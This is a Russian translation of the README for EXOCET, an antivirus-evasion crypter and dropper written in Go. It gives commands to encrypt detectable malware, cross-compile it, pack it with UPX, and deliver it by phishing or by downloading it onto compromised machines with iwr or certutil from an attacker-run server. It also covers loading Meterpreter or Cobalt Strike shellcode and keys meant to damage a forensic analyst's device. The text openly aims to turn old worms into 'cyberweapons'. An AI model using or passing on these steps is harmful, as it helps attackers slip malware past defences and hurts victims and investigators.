
EXOCET - обходящий антивирусы, необнаруживаемый инструмент доставки полезной нагрузки
Чанг Тан
Сертифицированный AWS Cloud Practitioner и Solutions Architect Associate
[email protected]
Убедитесь, что вы упаковываете свои полезные нагрузки, чтобы избежать утечки ключа криптера и еще больше затруднить работу аналитиков вредоносного ПО. Коммерческий упаковщик высшего класса, такой как Themida, НЕ требуется. Это вызвало бы еще больше подозрений без сертификата подписи кода. Без сертификата подписи кода в системах Windows автоматически срабатывает SmartScreen. Это правило для всех потенциально нежелательных программ или «ПНП», то есть все вредоносные нагрузки, бэкдоры, геоконы, трояны удаленного доступа и т.д., требуют сертификата подписи кода. Ваши деньги лучше потратить на покупку сертификата подписи кода, чем на какой-нибудь упаковщик высшего класса.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Затем доставьте полезную нагрузку на вашу цель. Используя, например, фишинговое письмо, ссылку или, если у вас уже есть доступ к оболочке, доставьте её, разместив свой собственный сервер локально
python -m http.server 80'
а затем на взломанной машине выполните в командной строке PowerShell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
или
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
и затем выполните с помощью outputmalware.exe
EXOCET превосходит модули «Evasive Payloads» от Metasploit, так как EXOCET использует AES-256 в режиме GCM (Galois/Counter Mode). Модули обхода от Metasploit используют легко обнаруживаемое шифрование RC4. Хотя RC4 может расшифровываться быстрее, AES-256 гораздо сложнее для определения намерений вредоносного ПО.

Однако можно использовать Metasploit для создания обходящей обнаружение полезной нагрузки, а затем объединить её с EXOCET. Таким образом, EXOCET расшифрует с помощью AES-256, а затем обходящая полезная нагрузка Metasploit расшифровывается из RC4.
Как и мой предыдущий проект, DarkLordObama, этот инструмент предназначен для использования в качестве средства доставки/запуска, подобно Veil-Evasion.
Однако EXOCET не ограничивается одной кодовой базой или платформами, на которых работает Python. EXOCET работает на ВСЕХ поддерживаемых платформах и архитектурах, которые поддерживает Go.
EXOCET, по сути, является дроппером вредоносного ПО типа криптер, который может перерабатывать легко обнаруживаемые полезные нагрузки, такие как WannaCry, шифровать их с помощью AES-GCM (Galois/Counter Mode), что более безопасно, чем AES-CBC, и затем создавать файл-дроппер для большинства существующих архитектур и платформ.
В основном...
Это означает 32-битные и 64-битные архитектуры, и он работает на Linux, Windows, Mac, Unix, Android, iPhone и т.д. Вы берёте что угодно, и я имею в виду ЧТО УГОДНО, например, червя Morris 1988 года, который почти обрушил интернет (использующего уязвимость в демоне прослушивателя fingerd в UNIX), и делаете его снова жизнеспособным кибероружием.
EXOCET написан полностью на Go.
EXOCET, независимо от того, какой бинарный файл вы используете для его запуска, требует Golang. По умолчанию он генерирует файл криптера .go.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Ключ генерируется автоматически. Ключ длиной 64 символа и состоит исключительно из перенаправителей конвейера оболочки bash и cmd.exe, чтобы запутать и нарушить попытки подбора ключа, вызывая непредсказуемое, разрушительное поведение на устройстве судебного аналитика.
Для 64-битных целей Windows...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
И на выходе получается файл outputmalware.exe
Для 64-битных целей MacOS
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Для 64-битных целей Linux
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Смотрите эту ссылку на github для ваших параметров для других операционных систем, таких как Android: Справочник по кросскомпиляции Go
Обратите внимание, что ключ всё ещё можно найти с помощью команды strings. Пожалуйста, используйте команду upx-ucl для упаковки бинарного файла, чтобы скрыть ключ.
Кроме того, есть предварительно собранные бинарные файлы, которые я сделал, что означает, что вам нужно только запустить ./EXOCET или EXOCET-Windows.exe
Я, Чанг Тан, и создатели основного модуля и подмодулей Exocet, а также включённых в него пакетов, НЕ несём ответственности за неправильное использование этого инструмента. Это всего лишь инструмент для тестирования на проникновение. Вам строго запрещено развёртывать выходные бинарные файлы Exocet против несанкционированных защищённых систем или несанкционированных защищённых государственных систем.
Я знаю, что субъекты угроз из APT41 и NSO Group использовали и/или адаптировали код из этого инструмента, особенно метод go-memexec. Если ко мне обратятся федеральные следователи по поводу неправильного использования этого инструмента, я не беру на себя ответственность.
Это то же самое, что произошло с разработчиками Mimikatz и PowerShell Empire (которые прекратили собственную разработку, осознав её использование субъектами угроз). Преемники подхватили разработку Empire, и существуют бесплатные альтернативы, такие как Covenant C2.
4 мая 1982 года во время Фолклендской войны эскадрилья аргентинских Super Etendard запустила французскую ракету Exocet по HMS Sheffield. Несмотря на попытки Королевского флота остановить ракету, одна из них поразила цель, потопив Sheffield. Этот инцидент буквально поставил Аргентину на карту как демонстрация силы против глобальной колониальной державы.
Новостная статья о потоплении HMS Sheffield
Очень похоже на то, как действия Онеля де Гусмана с вирусом ILOVEYOU поставили Филиппины на карту как киберугрозу.
.png)
Итак, в этом и следующем месяце у меня будет много дел, и будут задержки во внедрении этих методов. Но я рад начать реализацию новых методов обхода антивирусов, таких как...
Я очень занятой человек, у меня следующие приоритеты, и я хотел бы попросить помощи, некоторые pull request'ы для помощи в проекте. Поскольку у меня есть следующие дела
Мне нужна небольшая помощь, потому что я успешно реализовал CGO для выполнения зашифрованного шеллкода, но он выдаёт ошибки нарушения доступа к памяти с кодом выхода 0xc0000005. Это не должно быть связано с DEP (Data Execution Prevention), потому что файл CGOTest/working-template-shellcode-executor.go выполнялся.
Проблема обнаружена
Как оказалось, VirtualAlloc должен вызываться из kernel32.dll и ntdll.dll, чтобы правильно сделать страницу памяти, куда попадает шеллкод, читаемой, записываемой и исполняемой, другими словами, установить PAGE_EXECUTE_READWRITE в ON. Прочитайте Замечание о проблеме нарушения доступа к памяти ниже.

Когда я разберусь с этим, CGO был настоящей головной болью в реализации, мы сможем создавать криптеры, которые выполняют INLINE-ASSEMBLY. Что считалось невозможным до сих пор.
Обратите внимание, что для этого требуется установка Golang и инструментария MinGW на Windows, а также запуск и генерация шеллкода на Windows. Причина в том, что CGO не может быть кросскомпилирован, как другие наши модули EXOCET. Чтобы установить инструментарий, перейдите на https://www.msys2.org/ и следуйте инструкциям. Затем вы должны добавить gcc в переменные среды Windows.

Шаг 1: Сгенерируйте шеллкод. Это может быть из полезных нагрузок msfvenom Meterpreter, Cobalt Strike Beacons или вашего собственного пользовательского шеллкода в совместимом с C формате

Шаг 2: Скопируйте только байты шеллкода, исключая кавычки, в текстовый файл, например sc.txt

Шаг 3: Ваш файл с шеллкодом должен выглядеть так. Сырой шеллкод

Шаг 4: Теперь выполните команду go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
Шаг 5: Вы можете попытаться запустить его, но по какой-то причине получите ошибки нарушения доступа к памяти, над которыми я всё ещё работаю
Очевидно, помимо основных ограничений CGO, которые запрещают или значительно затрудняют кросскомпиляцию, проблема заключается в том, что шеллкод, который мы хотим выполнить, попадает в раздел памяти (проанализировано в WinDBG x64), который не является RWX. Другими словами, если мы не напишем код на C, который явно разрешает выполнение в памяти шеллкода, он всегда будет выдавать ошибки нарушения доступа.
Другой метод, который я наблюдал у других разработчиков элементарных модулей Go https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, заключается в использовании Windows API из Go для взаимодействия с ntdll.dll и kernel32.dll для вызова VirtualAlloc и указания областей памяти RWX. Этот метод работает лучше, но, похоже, что шеллкод должен быть только в численно преобразованном формате, чтобы это работало.
Я всё ещё работаю над этим, ребята. Возможно, я объединю несколько языков программирования, чтобы написать правильный модуль выполнения шеллкода.
К сожалению, у меня возникают ошибки при создании предварительно скомпилированного бинарного файла для MacBook с новыми процессорами M1. Возможно, проблема в моей установке Golang
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
В любом случае, вам всё равно потребуется Golang для компиляции или кросскомпиляции вредоносного ПО под целевую платформу.